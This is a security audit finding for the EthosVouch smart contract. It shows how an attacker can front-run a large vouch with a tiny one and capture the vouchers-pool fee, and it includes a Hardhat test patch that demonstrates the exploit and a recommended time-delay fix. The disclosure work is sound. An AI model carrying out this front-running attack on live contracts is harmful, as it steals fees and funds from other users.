Overt Alabaster Cottonmouth
High
Functions vouchByProfileId() or vouchByAddress() and increaseVouch() where the author deposits funds internally call other fee distributing functions one of which is _rewardPreviousVouchers(). Here, all existing vouches are proportionally awarded a part of the vouchersPoolFee
based on the ratio of their vouched amount to the total vouched amount.
This can be used to game the system by an attacker in the following manner:
-
Assumption: Entry vouchers pool fee basis points =
10000
(for easy calculation). This effectively means50%
of the voucher'smsg.value
will be deducted as fee. -
Normal Scenario:
- Alice vouches
100 ETH
for a subject by callingvouchByProfileId()
. Since there is no other voucher the balance look like:- Alice pays no fee. Alice's balance =
100 ETH
.
- Alice pays no fee. Alice's balance =
- Alice vouches
-
Attack Scenario:
- Alice vouches
100 ETH
for a subject by callingvouchByProfileId()
. - Bob (attacker) front-runs her tx and vouches
0.0001 ETH
. Since he is the sole voucher, all fees gets redirected to him:- Bob gets
50% of 100 = 50 ETH
as fee. - Alice's balance =
50 ETH
- Bob gets
- Alice vouches
Note that while the aforementioned scenario is highly profitable for Bob since there were no pre-existing vouches, the issue still exists when there are vouches already in place. Only the magnitude of profitability for Bob decreases. Additionally, these other fee receivers (pre-existing vouchers) have a portion of their rightful fee stolen.
Apply the following patch inside test/EthosVouch.test.ts
and see it pass when run via npm run hardhat -- test --grep "should demonstrate stealth of fee through front running"
:
diff --git a/ethos/packages/contracts/test/EthosVouch.test.ts b/ethos/packages/contracts/test/EthosVouch.test.ts
index be4d7f1..c290ce9 100644
--- a/ethos/packages/contracts/test/EthosVouch.test.ts
+++ b/ethos/packages/contracts/test/EthosVouch.test.ts
@@ -131,13 +131,13 @@ describe('EthosVouch', () => {
EXPECTED_SIGNER.address,
signatureVerifierAddress,
contractAddressManagerAddress,
FEE_PROTOCOL_ACC.address,
0, // Entry protocol fee basis points
0, // Entry donation fee basis points
- 0, // Entry vouchers pool fee basis points
+ 10000, // Entry vouchers pool fee basis points
0, // Exit fee basis points
]),
);
await ethosVouchProxy.waitForDeployment();
const ethosVouchAddress = await ethosVouchProxy.getAddress();
@@ -441,12 +441,52 @@ describe('EthosVouch', () => {
'Wrong unhealthyResponsePeriod, 2',
);
});
});
describe('vouchByProfileId', () => {
+ it('should demonstrate stealth of fee through front running', async () => {
+ const {
+ ethosVouch,
+ PROFILE_CREATOR_0,
+ PROFILE_CREATOR_1,
+ VOUCHER_0,
+ VOUCHER_1,
+ ethosProfile,
+ OWNER,
+ } = await loadFixture(deployFixture);
+
+ // create a profile
+ await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address);
+ await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address);
+ await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address);
+ await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address);
+ await ethosProfile.connect(VOUCHER_0).createProfile(1);
+ await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1);
+ await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1);
+ await ethosProfile.connect(VOUCHER_1).createProfile(1);
+
+ const attacker = VOUCHER_1;
+
+ // ============== FRONT-RUNNING Tx by the attacker ===============
+ // Attacker vouches 0.0001 ETH
+ await ethosVouch.connect(attacker).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, {
+ value: ethers.parseEther('0.0001'),
+ });
+ // ===============================================================
+
+ // Naive user's Tx: vouches 100 ETH
+ await ethosVouch.connect(VOUCHER_0).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, {
+ value: ethers.parseEther('100'),
+ });
+
+ // Verify stolen fee
+ const attackerVouch = await ethosVouch.vouches(0);
+ expect(attackerVouch.balance).to.be.gt(ethers.parseEther('50'));
+ });
+
it('should fail if no profile', async () => {
const { ethosVouch, VOUCHER_0, ethosProfile, OWNER } = await loadFixture(deployFixture);
await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address);
await ethosProfile.connect(VOUCHER_0).createProfile(1);
It's recommended to have a time delay after an author deposits funds for vouching. Only after this time delay should they be eligible to receive a portion of the 'previous voucher fee'.